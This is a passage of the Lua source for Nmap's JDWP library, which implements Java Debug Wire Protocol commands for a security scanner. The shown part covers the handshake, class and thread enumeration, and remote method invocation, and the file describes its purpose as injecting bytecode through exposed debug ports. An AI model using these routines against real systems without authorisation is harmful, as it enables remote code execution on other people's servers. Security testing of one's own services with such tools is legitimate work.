/nselib/jdwp.lua
Lua | 1095 lines | 709 code | 60 blank | 326 comment | 69 complexity | a1ed4f631d84a2862078d1fde5dcbbb0 MD5 | raw file
1--- JDWP (Java Debug Wire Protocol) library implementing a set of commands needed to 2-- use remote debugging port and inject java bytecode. 3-- 4-- There are two basic packet types in JDWP protool. 5-- Command packet and reply packet. Command packets are sent by 6-- a debugger to a remote port which replies with a reply packet. 7-- 8-- Simple handshake is needed to start the communication. 9-- The debugger sends a "JDWP-Handshake" string and gets the same as a reply. 10-- Each (command and reply packet) has an id field since communication can be asynchronous. 11-- Packet id can be monothonicaly increasing. 12-- Although communication can be asynchronous, it is not (at least in my tests) so the same 13-- packet id can be used for all communication. 14-- 15-- To start the connection, script should call <code>jdwp.connect()</code> which returns success 16-- status and a socket. All other protocol functions require a socket as their first parameter. 17-- 18-- Example of initiating connection: 19-- <code> 20-- local status,socket = jdwp.connect(host,port) 21-- if not status then 22-- stdnse.print_debug("error, %s",socket) 23-- end 24-- local version_info 25-- status, version_info = jdwp.getVersion(socket,0) 26-- </code> 27-- 28-- References: 29-- * http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html 30-- 31--@copyright Same as Nmap--See http://nmap.org/book/man-legal.html 32--@author Aleksandar Nikolic 33-- 34-- Version 0.1 35-- Created 08/10/2012 - v0.1 - Created by Aleksandar Nikolic 36 37local stdnse = require "stdnse" 38local string = require "string" 39local bin = require "bin" 40local table = require "table" 41local nmap = require "nmap" 42 43_ENV = stdnse.module("jdwp", stdnse.seeall) 44 45-- JDWP protocol specific constants 46JDWP_CONSTANTS = { 47 handshake = "JDWP-Handshake" -- Connection initialization handshake 48} 49 50-- List of error codes from: 51-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_Error 52ERROR_CODES = { 53 [0] = "NONE No error has occurred.", 54 [10] = "INVALID_THREAD Passed thread is null, is not a valid thread or has exited.", 55 [11] = "INVALID_THREAD_GROUP Thread group invalid.", 56 [12] = "INVALID_PRIORITY Invalid priority.", 57 [13] = "THREAD_NOT_SUSPENDED If the specified thread has not been suspended by an event.", 58 [14] = "THREAD_SUSPENDED Thread already suspended.", 59 [20] = "INVALID_OBJECT If this reference type has been unloaded and garbage collected.", 60 [21] = "INVALID_CLASS Invalid class.", 61 [22] = "CLASS_NOT_PREPARED Class has been loaded but not yet prepared.", 62 [23] = "INVALID_METHODID Invalid method.", 63 [24] = "INVALID_LOCATION Invalid location.", 64 [25] = "INVALID_FIELDID Invalid field.", 65 [30] = "INVALID_FRAMEID Invalid jframeID.", 66 [31] = "NO_MORE_FRAMES There are no more Java or JNI frames on the call stack.", 67 [32] = "OPAQUE_FRAME Information about the frame is not available.", 68 [33] = "NOT_CURRENT_FRAME Operation can only be performed on current frame.", 69 [34] = "TYPE_MISMATCH The variable is not an appropriate type for the function used.", 70 [35] = "INVALID_SLOT Invalid slot.", 71 [40] = "DUPLICATE Item already set.", 72 [41] = "NOT_FOUND Desired element not found.", 73 [50] = "INVALID_MONITOR Invalid monitor.", 74 [51] = "NOT_MONITOR_OWNER This thread doesn't own the monitor.", 75 [52] = "INTERRUPT The call has been interrupted before completion.", 76 [60] = "INVALID_CLASS_FORMAT The virtual machine attempted to read a class file and determined that the file is malformed or otherwise cannot be interpreted as a class file.", 77 [61] = "CIRCULAR_CLASS_DEFINITION A circularity has been detected while initializing a class.", 78 [62] = "FAILS_VERIFICATION The verifier detected that a class file, though well formed, contained some sort of internal inconsistency or security problem.", 79 [63] = "ADD_METHOD_NOT_IMPLEMENTED Adding methods has not been implemented.", 80 [64] = "SCHEMA_CHANGE_NOT_IMPLEMENTED Schema change has not been implemented.", 81 [65] = "INVALID_TYPESTATE The state of the thread has been modified, and is now inconsistent.", 82 [66] = "HIERARCHY_CHANGE_NOT_IMPLEMENTED A direct superclass is different for the new class version, or the set of directly implemented interfaces is different and canUnrestrictedlyRedefineClasses is false.", 83 [67] = "DELETE_METHOD_NOT_IMPLEMENTED The new class version does not declare a method declared in the old class version and canUnrestrictedlyRedefineClasses is false.", 84 [68] = "UNSUPPORTED_VERSION A class file has a version number not supported by this VM.", 85 [69] = "NAMES_DONT_MATCH The class name defined in the new class file is different from the name in the old class object.", 86 [70] = "CLASS_MODIFIERS_CHANGE_NOT_IMPLEMENTED The new class version has different modifiers and and canUnrestrictedlyRedefineClasses is false.", 87 [71] = "METHOD_MODIFIERS_CHANGE_NOT_IMPLEMENTED A method in the new class version has different modifiers than its counterpart in the old class version and and canUnrestrictedlyRedefineClasses is false.", 88 [99] = "NOT_IMPLEMENTED The functionality is not implemented in this virtual machine.", 89 [100] = "NULL_POINTER Invalid pointer.", 90 [101] = "ABSENT_INFORMATION Desired information is not available.", 91 [102] = "INVALID_EVENT_TYPE The specified event type id is not recognized.", 92 [103] = "ILLEGAL_ARGUMENT Illegal argument.", 93 [110] = "OUT_OF_MEMORY The function needed to allocate memory and no more memory was available for allocation.", 94 [111] = "ACCESS_DENIED Debugging has not been enabled in this virtual machine. JVMDI cannot be used.", 95 [112] = "VM_DEAD The virtual machine is not running.", 96 [113] = "INTERNAL An unexpected internal error has occurred.", 97 [115] = "UNATTACHED_THREAD The thread being used to call this function is not attached to the virtual machine. Calls must be made from attached threads.", 98 [500] = "INVALID_TAG object type id or class tag.", 99 [502] = "ALREADY_INVOKING Previous invoke not complete.", 100 [503] = "INVALID_INDEX Index is invalid.", 101 [504] = "INVALID_LENGTH The length is invalid.", 102 [506] = "INVALID_STRING The string is invalid.", 103 [507] = "INVALID_CLASS_LOADER The class loader is invalid.", 104 [508] = "INVALID_ARRAY The array is invalid.", 105 [509] = "TRANSPORT_LOAD Unable to load the transport.", 106 [510] = "TRANSPORT_INIT Unable to initialize the transport.", 107 [511] = "NATIVE_METHOD", 108 [512] = "INVALID_COUNT The count is invalid." 109} 110 111-- JDWP protocol Command packet as described at 112-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html 113-- Each command packet has a Command Set number, Command Number and data required 114-- for that command. 115JDWPCommandPacket = { 116 117 new = function(self,id,command_set,command, data) 118 local o = { 119 id = id, 120 flags = 0, -- current specification has no flags defined for Command Packets 121 command_set = command_set, 122 command = command, 123 data = data 124 } 125 setmetatable(o, self) 126 self.__index = self 127 return o 128 end, 129 130 -- Packs command packet as a string od bytes, ready to be sent 131 -- to the target debugee. 132 pack = function(self) 133 local packed_packet 134 if self.data == nil then 135 packed_packet = bin.pack(">I",11) -- lenght - minimal header is 11 bytes 136 else 137 packed_packet = bin.pack(">I",11 + #self.data) -- lenght with data 138 end 139 packed_packet = packed_packet .. bin.pack(">I",self.id) 140 packed_packet = packed_packet .. bin.pack(">C",0) -- flag 141 packed_packet = packed_packet .. bin.pack(">C",self.command_set) 142 packed_packet = packed_packet .. bin.pack(">C",self.command) 143 if self.data then 144 packed_packet = packed_packet .. self.data 145 end 146 return packed_packet 147 end 148} 149 150-- JDWP protocol Reply packet as described at 151-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html 152-- Reply packets are recognized by 0x80 in flag field. 153JDWPReplyPacket = { 154 155 new = function(self,length,id,error_code,data) 156 local o = { 157 length = length, 158 id = id, 159 flags = 0x80, -- no other flag is currently specified in the specification 160 error_code = error_code, -- see ERROR_CODES table 161 data = data -- reply data, contents depend on the command 162 } 163 setmetatable(o, self) 164 self.__index = self 165 return o 166 end, 167 168 -- Parses the reply into JDWPReplyPacket table. 169 parse_reply = function(self,reply_packet) 170 local pos,length,id,flags,error_code,data 171 pos, length = bin.unpack(">I",reply_packet) 172 pos, id = bin.unpack(">I",reply_packet,pos) 173 pos, flags = bin.unpack(">C",reply_packet,pos) 174 pos, error_code = bin.unpack(">S",reply_packet,pos) 175 data = string.sub(reply_packet,pos) 176 if flags == 0x80 then 177 return true, JDWPReplyPacket:new(length,id,error_code,data) 178 end 179 stdnse.print_debug(2,"JDWP error parsing reply. Wrong reply packet flag. Raw data: ", stdnse.tohex(reply_packet)) 180 return false, "JDWP error parsing reply." 181 end 182 183} 184 185--- Negotiates the initial debugger-debugee handshake. 186-- 187--@param host Host to connect to. 188--@param port Port to connect to. 189--@return (status,socket) If status is false, socket is error message, otherwise socket is 190-- a newly created socket with initial handshake finished. 191function connect(host,port) 192 local status, result,err 193 local socket = nmap.new_socket("tcp") 194 socket:set_timeout(10000) 195 local status, err = socket:connect(host, port) 196 if not status then 197 stdnse.print_debug(2,"JDWP could not connect: %s",err) 198 return status, err 199 end 200 status, err = socket:send(JDWP_CONSTANTS.handshake) 201 if not status then 202 stdnse.print_debug(2,"JDWP could not send handshake: %s",err) 203 return status, err 204 end 205 status, result = socket:receive() 206 if not status then 207 stdnse.print_debug(2,"JDWP could not receive handshake: %s",result) 208 return status, result 209 end 210 if result == JDWP_CONSTANTS.handshake then 211 stdnse.print_debug("JDWP handshake successful.") 212 return true, socket 213 end 214 return false, "JDWP handshake unsuccessful." 215end 216 217--- Helper function to pack regular string into UTF-8 string. 218-- 219--@param data String to pack into UTF-8. 220--@return utf8_string UTF-8 packed string. Four bytes lenght followed by the string its self. 221function toUTF8(data) 222 local utf8_string = bin.pack(">i",#data) .. data 223 return utf8_string 224end 225 226--- Helper function to read all Reply packed data which might be fragmented 227-- over multipe packets. 228-- 229--@param socket Socket to receive from. 230--@return (status,data) If status is false, error string is returned, else data contains read ReplyPacket bytes. 231function receive_all(socket) 232 local status, result = socket:receive() 233 if not status then 234 return false,result 235 end 236 local data = result 237 local _, expected_length = bin.unpack(">I",result) -- first 4 bytes of packet data is the ReplyPacket length 238 while expected_length > #data do -- read until we get all the ReplyPacket data 239 status,result = socket:receive() 240 if not status then 241 return true, data -- if somethign is wrong,return partial data 242 end 243 data = data .. result 244 end 245 return true,data 246end 247 248--- Helper function to extract ascii string from UTF-8 249-- 250-- Writen in this way so it can be used interchangeably with bin.unpack(). 251-- 252--@param data Data from which to extract the string. 253--@param pos Offset into data string where to begin. 254--@return (pos,ascii_string) Returns position where the string extraction ended and actuall ascii string. 255local function extract_string(data,pos) 256 local string_size 257 if pos > #data then 258 stdnse.print_debug(2,"JDWP extract_string() position higher than data length, probably incomplete data received.") 259 return pos, nil 260 end 261 pos, string_size = bin.unpack(">I",data,pos) 262 local ascii_string = string.sub(data,pos,pos+string_size) 263 local new_pos = pos+string_size 264 return new_pos,ascii_string 265end 266 267 268--- Helper function that sends the Command packet and parses the reply. 269-- 270--@param socket Socket to use to send the command. 271--@param command <code>JDWPCommandPacket</code> to send. 272--@return (status,data) If status is false, data contains specified error code message. If true, data contains data from the reply. 273function executeCommand(socket,command) 274 socket:send(command:pack()) 275 local status, result = receive_all(socket) 276 if not status then 277 return false, "JDWP executeCommand() didn't get a reply." 278 end 279 local reply_packet 280 status, reply_packet = JDWPReplyPacket:parse_reply(result) 281 if not status then 282 return false, reply_packet 283 end 284 if not (reply_packet.error_code == 0) then -- we have a packet with error , error code 0 means no error occured 285 return false, ERROR_CODES[reply_packet.error_code] 286 end 287 local data = reply_packet.data 288 return true, data 289end 290 291--- VirtualMachine Command Set (1) 292-- Commands targeted at the debugggee virtual machine. 293-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine 294 295 296--- Version Command (1) 297-- Returns the JDWP version implemented by the target VM as a table. 298-- 299-- Returns a table with following values: 300-- * 'description' Debugge vm verbose description. 301-- * 'jdwpMajor' Number representing major JDWP version. 302-- * 'jdwpMinor' Number representing minor JDWP version. 303-- * 'vmVersion' String representing version of the debuggee VM. 304-- * 'vmName' Name of the debuggee VM. 305-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Version 306-- 307--@param socket Socket to use to send the command. 308--@param id Packet id. 309--@return (status,version_info) If status is false, version_info is an error string, else it contains remote VM version info. 310function getVersion(socket,id) 311 local command = JDWPCommandPacket:new(id,1,1,nil) -- Version Command (1) 312 local status, data = executeCommand(socket,command) 313 if not status then 314 stdnse.print_debug(2,"JDWP getVersion() error : %s",data) 315 return false,data 316 end 317 -- parse data 318 local version_info = {description = "", 319 jdwpMajor = 0, 320 jdwpMinor = 0, 321 vmVersion = "", 322 vmName = ""} 323 local vmVersionSize 324 local pos 325 pos, version_info.description = extract_string(data,0) 326 pos, version_info.jdwpMajor = bin.unpack(">i",data,pos) 327 pos, version_info.jdwpMinor = bin.unpack(">i",data,pos) 328 pos, version_info.vmVersion = extract_string(data,pos) 329 pos, version_info.vmName = extract_string(data,pos) 330 return true, version_info 331end 332 333--- Classes by Signature command (2) 334-- Returns reference types for all the classes loaded by the target VM which match the given signature. 335-- 336-- Given the class signature (like "Ljava/lang/Class") returns it's reference ID which can be used to reference that class 337-- in other commands. Returns a list of tables containing following values: 338-- * 'refTypeTag' JNI type tag 339-- * 'referenceTypeID' Reference type of the class 340-- * 'status' Current class status. 341-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_ClassesBySignature 342-- 343--@param socket Socket to use to send the command. 344--@param id Packet id. 345--@param signature Signature of the class. 346--@return (status,classes) If status is false, classes is an error string, else it contains list of found classes. 347function getClassBySignature(socket,id,signature) 348 local command = JDWPCommandPacket:new(id,1,2,toUTF8(signature)) 349 local status, data = executeCommand(socket,command) 350 if not status then 351 stdnse.print_debug(2,"JDWP getClassBySignature() error : %s",data) 352 return false,data 353 end 354 -- parse data 355 local classes = {} 356 local pos,number_of_classes = bin.unpack(">i",data) 357 358 for i = 1, number_of_classes do 359 local class_info = { 360 refTypeTag = nil, 361 referenceTypeID = nil, 362 status = nil 363 } 364 pos, class_info.refTypeTag = bin.unpack("c",data,pos) 365 pos, class_info.referenceTypeID = bin.unpack(">L",data,pos) 366 pos, class_info.status = bin.unpack(">i",data,pos) 367 table.insert(classes,class_info) 368 end 369 return true, classes 370end 371 372--- AllThreads Command (4) 373-- Returns all threads currently running in the target VM . 374-- 375-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllThreads 376-- 377--@param socket Socket to use to send the command. 378--@param id Packet id. 379--@return (status, threads) If status is false threads contains an error string, else it conatins a list of all threads in the debuggee VM. 380function getAllThreads(socket,id) 381 local command = JDWPCommandPacket:new(id,1,4,nil) 382 local status, data = executeCommand(socket,command) 383 if not status then 384 stdnse.print_debug(2,"JDWP getAllThreads() error: %s", data) 385 return false,data 386 end 387 -- parse data 388 local pos,number_of_threads = bin.unpack(">i",data) 389 local threads = {} 390 for i = 1, number_of_threads do 391 local thread 392 pos, thread = bin.unpack(">L",data,pos) 393 table.insert(threads,thread) 394 end 395 return true, threads 396end 397 398--- Resume Command (9) 399-- Resumes execution of the application after the suspend command or an event has stopped it. 400-- 401-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Resume 402-- 403--@param socket Socket to use to send the command. 404--@param id Packet id. 405--@return (status, nil) If status is false error string is returned, else it's null since this command has no data in the reply. 406function resumeVM(socket,id) 407 local command = JDWPCommandPacket:new(id,1,9,nil) 408 local status, data = executeCommand(socket,command) 409 if not status then 410 stdnse.print_debug(2,"JDWP resumeVM() error: %s", data) 411 return false,data 412 end 413 -- wait for event notification 414 status, data = receive_all(socket) 415 if not status then 416 stdnse.print_debug(2,"JDWP resumeVM() event notification failed: %s", data) 417 end 418 return true, nil 419end 420 421--- CreateString Command (11) 422-- Creates new string object in the debuggee VM. 423-- 424-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_CreateString 425-- 426--@param socket Socket to use to send the command. 427--@param id Packet id. 428--@param ascii_string String to create. 429--@return (status, stringID) If status is false error string is returned, else stringID is newly created string. 430function createString(socket,id,ascii_string) 431 local command = JDWPCommandPacket:new(id,1,11,toUTF8(ascii_string)) 432 local status, data = executeCommand(socket,command) 433 if not status then 434 stdnse.print_debug(2,"JDWP createString() error: %s", data) 435 return false,data 436 end 437 local _,stringID = bin.unpack(">L",data) 438 return true, stringID 439end 440 441--- AllClassesWithGeneric Command (20) 442-- Returns reference types and signatures for all classes currently loaded by the target VM. 443-- 444-- Returns a list of tables containing following info: 445-- * 'refTypeTag' Kind of following reference type. 446-- * 'typeID' Loaded reference type 447-- * 'signature' The JNI signature of the loaded reference type. 448-- * 'genericSignature' The generic signature of the loaded reference type or an empty string if there is none. 449-- * 'status' The current class status. 450-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllClassesWithGeneric 451-- 452--@param socket Socket to use to send the command. 453--@param id Packet id. 454--@return (status, all_classes) If status is false all_classes contains an error string, else it is a list of loaded classes information. 455function getAllClassesWithGeneric(socket,id) 456 local command = JDWPCommandPacket:new(id,1,20,nil) 457 local status, data = executeCommand(socket,command) 458 if not status then 459 stdnse.print_debug(2,"JDWP getAllClassesWithGeneric() error: %s", data) 460 return false,data 461 end 462 -- parse data 463 local all_classes = {} 464 local pos,number_of_classes = bin.unpack(">i",data) 465 466 for i = 0 , number_of_classes do 467 local class = { 468 refTypeTag = nil, 469 typeID = nil, 470 signature = nil, 471 genericSignature = nil, 472 status = nil 473 } 474 if pos > #data then break end 475 pos, class.refTypeTag = bin.unpack("C",data,pos) 476 pos, class.typeID = bin.unpack(">L",data,pos) 477 pos, class.signature = extract_string(data,pos) 478 pos, class.genericSignature = extract_string(data,pos) 479 pos, class.status = bin.unpack(">i",data,pos) 480 table.insert(all_classes,class) 481 end 482 return true, all_classes 483end 484 485--- ReferenceType Command Set (2) 486-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType 487 488 489--- SignatureWithGeneric Command (13) 490-- Returns the JNI signature of a reference type. 491-- 492-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_SignatureWithGeneric 493-- 494--@param socket Socket to use to send the command. 495--@param id Packet id. 496--@param classID Reference type id of the class to get the signature from. 497--@return (status, signature) If status is false signature contains an error string, else it is class signature (like "Ljava/lang/Class"). 498function getSignatureWithGeneric(socket,id,classID) 499 local command = JDWPCommandPacket:new(id,2,13,bin.pack(">L",classID)) -- Version Command (1) 500 local status, data = executeCommand(socket,command) 501 if not status then 502 stdnse.print_debug(2,"JDWP getVersion() error : %s",data) 503 return false,data 504 end 505 local _,signature = extract_string(data,0) 506 -- parse data 507 return true,signature 508end 509 510--- MethodsWithGeneric Command (15) 511-- Returns information, including the generic signature if any, for each method in a reference type. 512-- 513-- Returns a list of tables containing following fields for each method: 514-- * 'methodID' Method ID which can be used to call the method. 515-- * 'name' The name of the method. 516-- * 'signature' The JNI signature of the method. 517-- * 'generic_signature' The generic signature of the method, or an empty string if there is none. 518-- * 'modBits' The modifier bit flags (also known as access flags) which provide additional information on the method declaration. 519-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_MethodsWithGeneric 520-- 521--@param socket Socket to use to send the command. 522--@param id Packet id. 523--@param classID Reference type id of the class to get the list of methods. 524--@return (status, signature) If status is false methods contains an error string, else it a list of methods information. 525function getMethodsWithGeneric(socket,id,classID) 526 local command = JDWPCommandPacket:new(id,2,15,bin.pack(">L",classID)) 527 local status, data = executeCommand(socket,command) 528 if not status then 529 stdnse.print_debug(2,"JDWP getMethodsWithGeneric() error : %s",data) 530 return false,data 531 end 532 -- parse data 533 local methods = {} 534 local pos,number_of_methods = bin.unpack(">i",data) 535 536 for i = 1, number_of_methods do 537 local method_info = { 538 methodID = nil, 539 name = nil, 540 signature = nil, 541 generic_signature = nil, 542 modBits = nil 543 } 544 pos, method_info.methodID = bin.unpack(">i",data,pos) 545 pos,method_info.name = extract_string(data,pos) 546 pos, method_info.signature = extract_string(data,pos) 547 pos,method_info.generic_signature = extract_string(data,pos) 548 pos, method_info.modBits = bin.unpack(">i",data,pos) 549 table.insert(methods,method_info) 550 end 551 return true, methods 552end 553 554--- ClassType Command Set (3) 555-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType 556 557--- InvokeMethod Command (3) 558-- Invokes a class' static method and returns the reply data. 559-- 560-- Reply data can vary so parsing is left to the function caller. 561-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_InvokeMethod 562-- 563--@param socket Socket to use to send the command. 564--@param id Packet id. 565--@param classID Reference type id of the class. 566--@param methodID ID of the static method to call. 567--@numberOfArguments Number of method arguments. 568--@arguments Already packed arguments. 569--@options Invocation options. 570--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy. 571function invokeStaticMethod(socket,id,classID,methodID,numberOfArguments,arguments,options) 572 local params 573 if numberOfArguments == 0 then 574 params = bin.pack(">Liii",classID,methodID,numberOfArguments,options) 575 else 576 params = bin.pack(">Lii",classID,methodID,numberOfArguments) .. arguments .. bin.pack(">i",options) 577 end 578 579 local command = JDWPCommandPacket:new(id,3,3,params) 580 local status, data = executeCommand(socket,command) 581 if not status then 582 stdnse.print_debug(2,"JDWP invokeStaticMethod() error: %s", data) 583 return false,data 584 end 585 return true,data 586end 587 588--- NewInstance Command (4) 589-- Creates a new object of this type, invoking the specified constructor. 590-- The constructor method ID must be a member of the class type. 591-- 592-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_NewInstance 593-- 594--@param socket Socket to use to send the command. 595--@param id Packet id. 596--@param classID Reference type id of the class. 597--@param threadID The thread in which to invoke the constructor. 598--@param methodID The constructor to invoke. 599--@numberOfArguments Number of constructor arguments. 600--@arguments Already packed arguments. 601--@return (status, objectID) If status is false data contains an error string, else it contains a reference ID of the newly created object. 602function newClassInstance(socket,id,classID,threadID,methodID,numberOfArguments,arguments) 603 local params 604 if numberOfArguments == 0 then 605 params = bin.pack(">LLiii",classID,threadID,methodID,numberOfArguments,0) 606 else 607 params = bin.pack(">LLii",classID,threadID,methodID,numberOfArguments) .. arguments 608 end 609 610 local command = JDWPCommandPacket:new(id,3,4,params) 611 local status, data = executeCommand(socket,command) 612 if not status then 613 stdnse.print_debug(2,"JDWP newClassInstance() error: %s", data) 614 return false,data 615 end 616 -- parse data 617 stdnse.print_debug("newClassInstance data: %s",stdnse.tohex(data)) 618 local pos, tag = bin.unpack(">C",data) 619 local objectID 620 pos, objectID = bin.unpack(">L",data,pos) 621 return true,objectID 622end 623 624--- ArrayType Command Set (4) 625-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType 626 627--- NewInstance Command (1) 628-- Creates a new array object of the specified type with a given length. 629-- 630-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType_NewInstance 631-- 632--@param socket Socket to use to send the command. 633--@param id Packet id. 634--@param arrayType The array type of the new instance as per JNI (http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502). 635--@param length Length of the new array. 636--@return (status, arrayID) If status is false data contains an error string, else it contains a reference ID of the newly created array. 637function newArrayInstance(socket,id,arrayType,length) 638 local params = bin.pack(">Li",arrayType,length) 639 local command = JDWPCommandPacket:new(id,4,1,params) 640 local status, data = executeCommand(socket,command) 641 if not status then 642 stdnse.print_debug(2,"JDWP newArrayInstance() error: %s", data) 643 return false,data 644 end 645 local pos,_ , tag, arrayID 646 pos, tag = bin.unpack("C",data) 647 _, arrayID = bin.unpack(">L",data,pos) 648 return true, arrayID 649end 650 651--- ObjectReference Command Set (9) 652-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference 653 654--- ReferenceType Command (1) 655-- Returns the runtime type of the object. The runtime type will be a class or an array. 656-- 657-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_ReferenceType 658-- 659--@param socket Socket to use to send the command. 660--@param id Packet id. 661--@param objectID The ID of an object. 662--@return (status, runtime_type) If status is false runtime_type contains an error string, else it contains runtime type of an object. 663function getRuntimeType(socket,id,objectID) 664 local command = JDWPCommandPacket:new(id,9,1,bin.pack(">L",objectID)) 665 local status, data = executeCommand(socket,command) 666 if not status then 667 stdnse.print_debug(2,"JDWP resumeVM() error: %s", data) 668 return false,data 669 end 670 local _,tag,runtime_type = bin.unpack(">CL",data) 671 stdnse.print_debug("runtime type: %d",runtime_type) 672 return true,runtime_type 673end 674 675--- InvokeMethod Command (6) 676-- Invokes a instance method with specified parameters. 677-- 678-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_InvokeMethod 679-- 680--@param socket Socket to use to send the command. 681--@param id Packet id. 682--@param objectID The ID of an object. 683--@param threadID The thread in which to invoke. 684--@param classID The class type. 685--@param methodID ID of the method to invoke. 686--@param numberOfArguments Number of method arguments. 687--@arguments Already packed arguments. 688--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy. 689function invokeObjectMethod(socket,id,objectID,threadID,classID,methodID,numberOfArguments,arguments) 690 local params 691 692 if numberOfArguments == 0 then 693 params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) 694 else 695 params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) .. arguments 696 end 697 698 local command = JDWPCommandPacket:new(id,9,6,params) 699 local status, data = executeCommand(socket,command) 700 if not status then 701 stdnse.print_debug(2,"JDWP invokeObjectMethod() error: %s", data) 702 return false,data 703 end 704 stdnse.print_debug("invoke obj method data: %s ",stdnse.tohex(data)) 705 return true,data 706end 707 708--- StringReference Command Set (10) 709-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference 710 711--- Value Command (1) 712-- Returns the characters contained in the string. 713-- 714-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference_Value 715-- 716--@param socket Socket to use to send the command. 717--@param id Packet id. 718--@param stringID The ID of a string to read. 719--@return (status, data) If status is false result contains an error string, else it contains read string. 720function readString(socket,id,stringID) 721 local command = JDWPCommandPacket:new(id,10,1,bin.pack(">L",stringID)) 722 local status, data = executeCommand(socket,command) 723 if not status then 724 stdnse.print_debug(2,"JDWP readString() error: %s", data) 725 return false,data 726 end 727 local _,result = extract_string(data,0) 728 return true,result 729end 730 731--- ThreadReference Command Set (11) 732-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference 733 734 735--- Name Command (1) 736-- Returns the thread name. 737-- 738-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Name 739-- 740--@param socket Socket to use to send the command. 741--@param id Packet id. 742--@param threadID The ID of a thread. 743--@return (status, thread_name) If status is false thread_name contains an error string, else it contains thread's name. 744function getThreadName(socket,id,threadID) 745 local params = bin.pack(">L",threadID) 746 local command = JDWPCommandPacket:new(id,11,1,params) 747 local status, data = executeCommand(socket,command) 748 if not status then 749 stdnse.print_debug(2,"JDWP getThreadName() error: %s", data) 750 return false,data 751 end 752 -- parse data 753 local _,thread_name = extract_string(data,0) 754 return true, thread_name 755end 756 757--- Suspend Command (2) 758-- Suspends the thread. 759-- 760-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Suspend 761-- 762--@param socket Socket to use to send the command. 763--@param id Packet id. 764--@param threadID The ID of a thread. 765--@return (status, thread_name) If status is false an error string is returned, else it's nil. 766function suspendThread(socket,id,threadID) 767 local params = bin.pack(">L",threadID) 768 local command = JDWPCommandPacket:new(id,11,2,params) 769 local status, data = executeCommand(socket,command) 770 if not status then 771 stdnse.print_debug(2,"JDWP suspendThread() error: %s", data) 772 return false,data 773 end 774 return true, nil 775end 776 777--- Status Command (4) 778-- Returns the current status of a thread. 779-- 780-- Thread status is described with ThreadStatus and SuspendStatus constants (http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadStatus). 781-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Status 782-- 783--@param socket Socket to use to send the command. 784--@param id Packet id. 785--@param threadID The ID of a thread. 786--@return (status, thread_name) If status is false an error string is returned, else unparsed thread status data. 787function threadStatus(socket,id,threadID) 788 local params = bin.pack(">L",threadID) 789 local command = JDWPCommandPacket:new(id,11,4,params) 790 local status, data = executeCommand(socket,command) 791 if not status then 792 stdnse.print_debug(2,"JDWP threadStatus() error: %s", data) 793 return false,data 794 end 795 stdnse.print_debug("threadStatus %s",stdnse.tohex(data)) 796 return true, data 797end 798 799--- ArrayReference Command Set (13) 800-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference 801 802--- SetValues Command (3) 803-- Sets a range of array components. 804-- 805-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference_SetValues 806-- 807--@param socket Socket to use to send the command. 808--@param id Packet id. 809--@param objectID The ID of an array object. 810--@return (status, data) If status is false an error string is returned, else it's nil. 811function setArrayValues(socket,id,objectID,idx,values) 812 local params = bin.pack(">Lii",objectID,idx,#values) .. values 813 local command = JDWPCommandPacket:new(id,13,3,params) 814 